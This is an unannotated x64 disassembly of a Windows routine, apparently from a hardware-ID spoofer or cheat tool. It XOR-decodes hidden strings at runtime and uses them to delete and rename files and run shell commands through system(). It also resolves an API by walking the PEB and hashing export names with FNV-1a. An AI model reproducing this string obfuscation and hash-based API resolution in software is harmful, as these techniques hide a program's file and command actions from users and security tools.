mov qword [rbp + 0x848], rax
movdqa xmm0, xmmword [rbp + 0x840]
xorps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x2f0], xmm0
lea rax, [rbp + 0x2f0]
mov qword [rbp + 0x400], rax
xor r8d, r8d
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x408]
call fcn.14001a1b0
nop
lea rcx, [rbp + 0x408]
call fcn.140003fc0
movzx ebx, al
lea rcx, [rbp + 0x408]
call fcn.140003690
test bl, bl
movabs rbx, 0xfdfb4b50e4b6385e
je 0x14000ff37
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0xa8], rax
movabs rax, 0x5185f99d4f45a715
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rbx
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x890], rax
mov qword [rbp + 0x898], rbx
movdqa xmm0, xmmword [rbp + 0x180]
xorps xmm0, xmmword [rbp + 0x890]
movdqa xmmword [rbp + 0x180], xmm0
movzx edx, byte [rbp]
lea rcx, [rbp + 0x3e0]
call fcn.140005dd0
nop
lea rax, [rbp + 0x180]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000fe60
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x3e0]
call fcn.140015a50
nop
lea rax, [rbp + 0x700]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x1c0], rsi
mov qword [rbp + 0x1c8], rdi
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x870], rax
mov qword [rbp + 0x878], rbx
movdqa xmm0, xmmword [rbp + 0x1c0]
xorps xmm0, xmmword [rbp + 0x870]
movdqa xmmword [rbp + 0x1c0], xmm0
movzx edx, byte [rbp]
lea rcx, [rbp + 0x700]
call fcn.140005dd0
nop
lea rax, [rbp + 0x1c0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14000fee4
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x700]
call fcn.140015a50
nop
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xb8]
call fcn.140004e60
mov rdx, rax
lea rcx, [rbp + 0x4a0]
call fcn.140012860
lea rcx, [rbp + 0xb8]
call fcn.140012800
mov qword [rbp + 0x3e0], r13
movabs rax, 0x949c3e3c94ea482e
mov qword [rbp + 0x3e8], rax
movabs rax, 0x72e8e2c08414a7c9
mov qword [rbp + 0x3f0], rax
movabs rax, 0xe9f2540627eb2e3e
mov qword [rbp + 0x3f8], rax
movabs r13, 0x5185f99d2731c665
mov qword [rbp + 0x700], r13
mov qword [rbp + 0x708], rbx
movabs rax, 0x42d986f3e048d4a7
mov qword [rbp + 0x710], rax
movabs rax, 0xe9f254064b874a10
mov qword [rbp + 0x718], rax
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x3e0], ymm1
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x430]
vzeroupper
call fcn.140014de0
nop
lea rcx, [rbp + 0x430]
call fcn.1400127c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov qword [rbp + 0x770], rsi
mov qword [rbp + 0x778], rdi
mov qword [rbp + 0x7e0], r13
mov qword [rbp + 0x7e8], rbx
movdqa xmm0, xmmword [rbp + 0x770]
xorps xmm0, xmmword [rbp + 0x7e0]
movdqa xmmword [rbp + 0x770], xmm0
lea rcx, [rbp + 0x770]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movabs rax, 0x38f18df8546dfc26
mov qword [rbp + 0x700], rax
movabs rax, 0x9394383acac55f30
mov qword [rbp + 0x708], rax
movabs rax, 0x42d986f3e048d4a7
mov qword [rbp + 0x710], rax
movabs rcx, 0xe9f254064b874a10
mov qword [rbp + 0x718], rcx
mov qword [rbp + 0x7e0], r13
mov qword [rbp + 0x7e8], rbx
mov qword [rbp + 0x7f0], rax
mov qword [rbp + 0x7f8], rcx
vmovdqu ymm0, ymmword [rbp + 0x700]
vpxor ymm1, ymm0, ymmword [rbp + 0x7e0]
vmovdqa ymmword [rbp + 0x700], ymm1
lea rcx, [rbp + 0x700]
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movabs rax, 0x38e297d846448a39
mov qword [rbp + 0x190], rax
movabs rax, 0xfdfb273c80985d30
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x8a0], r13
mov qword [rbp + 0x8a8], rbx
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rbp + 0x8a0]
movdqa xmmword [rbp + 0x190], xmm0
test dword [rax + 0x48000001], edx
lea ecx, [rbp + 0xb8]
call fcn.1400040d0
nop
lea r8, [rbp + 0x9f]
lea rdx, [rbp + 0x408]
mov rcx, rax
call fcn.140014f40
nop
lea rax, [rbp + 0x190]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140010133
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x408]
call fcn.1400141c0
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.1400128f0
nop
lea rcx, [rbp + 0x408]
call fcn.140012800
nop
lea rcx, [rbp + 0xb8]
call fcn.140003690
movabs rax, 0x7ff589ed4a54b239
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], rdi
mov qword [rbp + 0x880], r13
mov qword [rbp + 0x888], rbx
movdqa xmm0, xmmword [rbp + 0x1a0]
xorps xmm0, xmmword [rbp + 0x880]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp + 0x140]
call fcn.1400040d0
nop
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x480]
mov rcx, rax
call fcn.140014f40
nop
lea rax, [rbp + 0x1a0]
inc r14
cmp byte [rax + r14], 0
jne 0x1400101e1
mov r8, r14
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x480]
call fcn.1400141c0
mov rdx, rax
lea rcx, [rbp + 0x4e0]
call fcn.1400128f0
nop
lea rcx, [rbp + 0x480]
call fcn.140012800
nop
lea rcx, [rbp + 0x140]
call fcn.140003690
lea rcx, [rbp + 0x460]
call fcn.1400127c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x4e0]
call fcn.1400127c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movabs rax, 0x7ffd90f14145a30b
mov qword [rbp + 0x760], rax
movabs rcx, 0xfdfb4b50e4d3403b
mov qword [rbp + 0x768], rcx
mov qword [rbp + 0x860], r13
mov qword [rbp + 0x868], rbx
movdqa xmm0, xmmword [rbp + 0x860]
xorps xmm0, xmmword [rbp + 0x760]
movdqa xmmword [rbp + 0x760], xmm0
movabs rax, 0x7fe198ed4245a90b
mov qword [rbp + 0x750], rax
mov qword [rbp + 0x758], rcx
mov qword [rbp + 0x7b0], r13
mov qword [rbp + 0x7b8], rbx
movdqa xmm0, xmmword [rbp + 0x7b0]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x750], xmm0
lea rdx, [rbp + 0x760]
lea rcx, [rbp + 0x750]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
movabs rsi, 0x24a595f45344b503
mov qword [rbp + 0x3e0], rsi
movabs rdi, 0x899e27358096562d
mov qword [rbp + 0x3e8], rdi
movabs rbx, 0x2eb8e8819527bec2
mov qword [rbp + 0x3f0], rbx
movabs rax, 0xe9f26e456bc36530
mov qword [rbp + 0x3f8], rax
mov qword [rbp + 0x700], r13
movabs r14, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x708], r14
movabs rax, 0x42d986f3e048d4a7
mov qword [rbp + 0x710], rax
movabs rax, 0xe9f254064b874a10
mov qword [rbp + 0x718], rax
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x3e0], ymm1
lea rcx, [rbp + 0x3e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0x3e0], rsi
mov qword [rbp + 0x3e8], rdi
mov qword [rbp + 0x3f0], rbx
movabs rax, 0xe9f26e426bc36530
mov qword [rbp + 0x3f8], rax
mov qword [rbp + 0x700], r13
mov qword [rbp + 0x708], r14
movabs rax, 0x42d986f3e048d4a7
mov qword [rbp + 0x710], rax
movabs rax, 0xe9f254064b874a10
mov qword [rbp + 0x718], rax
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x3e0], ymm1
lea rcx, [rbp + 0x3e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [0x140103468]
test rax, rax
jne 0x1400104d7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400104b7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400104b7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400104b2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140010490
cmp edx, 0xcded1a85
je 0x140010797
test r8d, r8d
jne 0x140010470
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400104cd
cmp qword [rax + 0x30], 0
jne 0x140010440
mov rax, r15
mov qword [0x140103468], rax
xor ecx, ecx
call rax
call fcn.1400060c0
nop
lea rcx, [rbp + 0x4e0]
call fcn.140012800
nop
lea rcx, [rbp + 0x460]
call fcn.140012800
nop
lea rcx, [rbp + 0x430]
call fcn.140012800
nop
lea rcx, [rbp + 0x4a0]
call fcn.140012800
lea rcx, str.Spoofer_coming_soon.
call fcn.14005f4f0
mov ecx, 1
call fcn.1400245d0
mov eax, dword [0x1401034a0]
cmp eax, 2
jne 0x1400108a7
lea rdx, [0x140103928]
lea ecx, [rax + 0x13]
call fcn.140024570
mov dword [rbp + 0x208], 0x42dc0000
mov dword [rbp + 0x20c], 0x42240000
movsd xmm0, qword [0x1400ed688]
movsd qword [rbp + 0x88], xmm0
movzx ecx, word [0x1400ed690]
mov word [rbp + 0x90], cx
movzx eax, byte [0x1400ed692]
mov byte [rbp + 0x88], 0x52
xor byte [rbp + 0x89], 0x36
xor byte [rbp + 0x8a], 0x37
xor byte [rbp + 0x8b], 0x38
xor byte [rbp + 0x8c], 0x39
xor byte [rbp + 0x8d], 0x3a
xor byte [rbp + 0x8e], 0x3b
xor byte [rbp + 0x8f], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x90], cl
xor byte [rbp + 0x91], 0x3e
xor al, 0x3f
mov byte [rbp + 0x92], al
xor r8d, r8d
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x88]
call fcn.14005fd90
movabs rdi, 0x5185f99d2731c665
movabs rbx, 0xfdfb4b50e4b6385e
test al, al
je 0x140010653
movabs rax, 0x7fed8dfc576dfc26
mov qword [rbp + 0x740], rax
movabs rax, 0xfdfb4b508ad94b34
mov qword [rbp + 0x748], rax
mov qword [rbp + 0x7c0], rdi
mov qword [rbp + 0x7c8], rbx
movdqa xmm0, xmmword [rbp + 0x740]
xorps xmm0, xmmword [rbp + 0x7c0]
movdqa xmmword [rbp + 0x740], xmm0
lea rcx, [rbp + 0x740]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rbp + 0x1f8], 0x42dc0000
mov dword [rbp + 0x1fc], 0x42240000
mov rax, qword [0x1400ed780]
mov qword [rbp + 0x50], rax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400107f3
cmp r12d, 2
jl 0x1400107b3
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_35
movd xmm5, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x50]
xorps xmm2, xmm1
movd dword [rbp + 0x50], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
jmp 0x1400107f3
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x1400104d0
lea r8, [rbp + 0x50]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r15d
add edx, r15d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r15b
sub al, cl
add al, 0x35
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 8
jl 0x1400107c0
xor r8d, r8d
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x50]
call fcn.14005fd90
test al, al
je 0x14001089d
mov byte [0x140103484], 0
movabs rax, 0x38f18df8546dfc26
mov qword [rbp + 0x3e0], rax
movabs rax, 0x9394383acac55f30
mov qword [rbp + 0x3e8], rax
movabs rax, 0x42d986f3e048d4a7
mov qword [rbp + 0x3f0], rax
movabs rcx, 0xe9f254064b874a10
mov qword [rbp + 0x3f8], rcx
mov qword [rbp + 0x700], rdi
mov qword [rbp + 0x708], rbx
mov qword [rbp + 0x710], rax
mov qword [rbp + 0x718], rcx
vmovdqu ymm0, ymmword [rbp + 0x700]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
lea rcx, [rbp + 0x3e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 2
call fcn.1400245d0
call fcn.140032480
mov rcx, qword [rbp + 0xad0]
xor rcx, rsp
call fcn.1400d37a0
lea r11, [rsp + 0xb80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140014100
int3